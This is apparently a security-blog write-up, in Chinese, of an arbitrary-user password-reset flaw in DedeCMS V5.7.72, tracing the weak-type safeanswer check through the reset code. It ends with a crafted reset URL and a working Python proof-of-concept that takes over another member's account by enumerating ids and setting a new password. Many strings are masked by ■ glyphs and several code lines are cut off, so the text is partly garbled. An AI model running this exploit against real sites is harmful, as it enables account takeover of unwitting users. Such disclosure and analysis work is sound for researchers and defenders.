DeDecms(织梦CMS)最新版任意用户密码重置漏洞分析

茜さす / 2018-01-11 11:00:00 / 浏览数 7413 安全技术 漏洞分析 顶(1) 踩(1)

描述

Dedecms是一款开源的PHP开源网站管理系统。

影响产品

DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格，遭受弱类型比较攻击
■■

漏洞触发位置

①文件位置:dedecms/member/resetpassword.php(75行)

```
else if($dopost == "safequestion")
{
   $mid = preg_replace("#[^0-9]#", "", $id);
   $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
   $row = $db->GetOne($sql);
   if(empty($safequestion)) $safequestion = '';

   if(empty($safeanswer)) $safeanswer = '';

   if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
   {
       sn($mid, $row['userid'], $row['email'], 'N');
       exit();
   }
   else
   {
       ShowMsg("■■■■■■■■■■■■■■■■■■","-1");
       exit();
   }

}
```

就是这里的判断出现了问题，因为使用了不够严谨的 == 进行了比较，导致if语句的条件为真，就会进入分支，进入sn函数

```
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
   sn($mid, $row['userid'], $row['email'], 'N');
   exit();
}
```

②文件位置:dedecms/member/inc/inc_pwd_functions.php(150行)
函数名称:function sn

```
function sn($mid,$userid,$mailto, $send = 'Y')
{
   global $db;
   $tptim= (60*10);
   $dtime = time();
   $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
   $row = $db->GetOne($sql);
   if(!is_array($row))
   {
       //■■■■■■■
       newmail($mid,$userid,$mailto,'INSERT',$send);
   }
   //10■■■■■■■■■■■■■■■
   elseif($dtime - $tptim > $row['mailtime'])
   {
       newmail($mid,$userid,$mailto,'UPDATE',$send);
```

```
    }
    //■■■■■■■■■■■■■■■■
    else
    {
        return ShowMsg('■■■■■10■■■■■■■■■', 'login.php');
    }
}
```

在sn函数内部，会根据id到pwd_tmp表中判断是否存在对应的临时密码记录，根据结果确定分支，走向newmail函数

```
if(!is_array($row))
    {
        //■■■■■■
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
```

③文件位置:dedecms/member/inc/inc_pwd_functions.php(73行)
函数名称:function newmail

```
function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":■■■■";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "■■■".$userid."■\r\n■■■■■■■■".$cfg_webname."■■\r\n".$cfg_webname."■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtim
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL■■■■■■■■■■■■■■■■■■', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('■■■■■■■■', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&
            }
        }
        else
        {
            return ShowMsg('■■■■■■■■■■■■■■', 'login.php');
        }
    }
    elseif($type == 'UPDATE')
    {
        $key = md5($randval);
        $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                ShowMsg('EMAIL■■■■■■■■■■■■■■■■■■', 'login.php');
            }
            elseif($send == 'N')
            {
                return ShowMsg('■■■■■■■■', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&
            }
        }
        else
        {
            ShowMsg('■■■■■■■■■■■■■■■', 'login.php');
        }
    }
}
```

进入newmail函数后，会因为$type的值进入这个分支

```
if($type == 'INSERT')
{
   $key = md5($randval);
   $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');
   if($db->ExecuteNoneQuery($sql))
   {
       if($send == 'Y')
       {
           sendmail($mailto,$mailtitle,$mailbody,$headers);
           return ShowMsg('EMAIL[redacted]', 'login.php','','5000');
       } else if ($send == 'N')
       {
           return ShowMsg('[redacted]', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;
       }
   }
   else
   {
       return ShowMsg('[redacted]', 'login.php');
   }
}
```

然后因为($send == 'N')这个条件为真，通过ShowMsg打印出修改密码的连接，导致漏洞形成

```
else if ($send == 'N')
{
   return ShowMsg('[redacted]', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$r
}
```

密码修改连接如下,点击后重新调到resetpassword.php这个页面

```
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
```

文件位置:dedecms/member/resetpassword.php(96行)

```
else if($dopost == "getpasswd")
{
   //[redacted]
   if(empty($id))
   {
       ShowMsg("[redacted]","login.php");
       exit();
   }
   $mid = preg_replace("#[^0-9]#", "", $id);
   $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
   if(empty($row))
   {
       ShowMsg("[redacted]","login.php");
       exit();
   }
   if(empty($setp))
   {
       $tptim= (60*60*24*3);
       $dtime = time();
       if($dtime - $tptim > $row['mailtime'])
       {
           $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
           ShowMsg("[redacted]","login.php");
           exit();
       }
       require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
   }
   elseif($setp == 2)
   {
       if(isset($key)) $pwdtmp = $key;

       $sn = md5(trim($pwdtmp));
       if($row['pwd'] == $sn)
       {
```

```
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('[redacted]', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('[redacted]', '-1');
            exit;
        }
        showmsg('[redacted]', '-1');
        exit;
    }
}
```

在pwd_tmp表中查询判断后,最后会跳入这个分支，判断是否超时，然后进入密码修改页面

```
if(empty($setp))
{
    $tptim= (60*60*24*3);
    $dtime = time();
    if($dtime - $tptim > $row['mailtime'])
    {
        $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
        ShowMsg("[redacted]","login.php");
        exit();
    }
    require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
```

然后会再次进入这个页面，不过因为setp等于2，会进入这个分支。完成member表的密码修改

```
elseif($setp == 2)
{
    if(isset($key)) $pwdtmp = $key;

    $sn = md5(trim($pwdtmp));
    if($row['pwd'] == $sn)
    {
        if($pwd != "")
        {
            if($pwd == $pwdok)
            {
                $pwdok = md5($pwdok);
                $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                $db->executenonequery($sql);
                $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                if($db->executenonequery($sql))
                {
                    showmsg('[redacted]', 'login.php');
                    exit;
                }
            }
        }
        showmsg('[redacted]', '-1');
        exit;
    }
    showmsg('[redacted]', '-1');
    exit;
}
```

总结：DeDecms(织梦CMS) 密码修改处，因为安全问题验证的safeanswer参数类型比较不够严格，遭受弱类型比较攻击，可绕过判断
同时修改时的id可控，导致了远程攻击者可以在前台会员中心绕过验证，进行任意用户密码重置攻击

漏洞攻击与利用
本地验证
分别注册两个账号
账号：test1
密码：test1

账号：test2
密码：test2

目的：我们使用test1账号去重置test2账号的密码

```
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9
```

①test1登录,并发送payload,此处可以id可以遍历，9是test2的id

②我们在代理工具中找到ShowMsg打印出修改密码的连接

③去掉多余字符后，访问修改密码的连接，进入修改页面

```
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=dqg3OSQo
```

④test2密码修改成功，数据库对应hash也进行了更新（变成了123456的hash）

Poc

```
# coding=utf-8

import re
import requests
from bs4 import BeautifulSoup

if __name__ == "__main__":
    host = 'http://127.0.0.1/dedecms/'
    cookie = "PHPSESSID=hi7jm3fncr0q79du7tvu3bm406; DedeUserID=8; DedeUserID__ckMd5=7903ea0790a3690a; DedeLoginTime=1515641375;
    # ■■■■■■cookie
    num = 2
    # ■■■■■■■id

    headers = {'Cookie': cookie}
    rs = requests.get(host + '/member/index.php', headers=headers)
    if '/member/myfriend.php' in rs.text and '/member/pm.php' in rs.text:
        print '■■■■■■■'
    else:
        exit('■■■■■■■■')

    payload_url1 = "{host}/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id={num}".format(
        host=host,
        num=num)
    rs = requests.get(payload_url1, headers=headers)
    if '■■■■■■10■■■■■■■■■'.decode('utf-8') in rs.text:
        exit('■■■■■■10■■■■■■■■■').decode('utf-8')

    searchObj = re.search(r'<a href=\'(.*?)\'>', rs.text, re.M | re.I)
    payload_url2 = searchObj.group(1)
    payload_url2 = payload_url2.replace('amp;', '')
    print 'Payload : ' + payload_url2
    rs = requests.get(payload_url2, headers=headers)
    soup = BeautifulSoup(rs.text, "html.parser")
    userid = soup.find_all(attrs={"name": "userid"})[0]['value']
    key = soup.find_all(attrs={"name": "key"})[0]['value']
    data = {'dopost': 'getpasswd', 'setp': 2, 'id': num, 'userid': userid, 'key': key, 'pwd': 666666, 'pwdok': 666666}
    rs = requests.post(host + "/member/resetpassword.php", data=data, headers=headers)
    if '■■■■■■■■■■■■■■■'.decode('utf-8') in rs.text:
        print '■■■■■■■'.decode('utf-8')
        print '■■■'.decode('utf-8') + userid
        print '■■■'.decode('utf-8') + '666666'
```

```
    else:
        print '[redacted]'.decode('utf-8')
```

点击收藏 | 0 关注 | 2

上一篇：Spectre攻击分析 下一篇：织梦前台任意用户密码修改漏洞分析

1. 1 条回复

爱我的灵魂 2018-04-03 17:01:27

动动手指，沙发就是我的了！

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板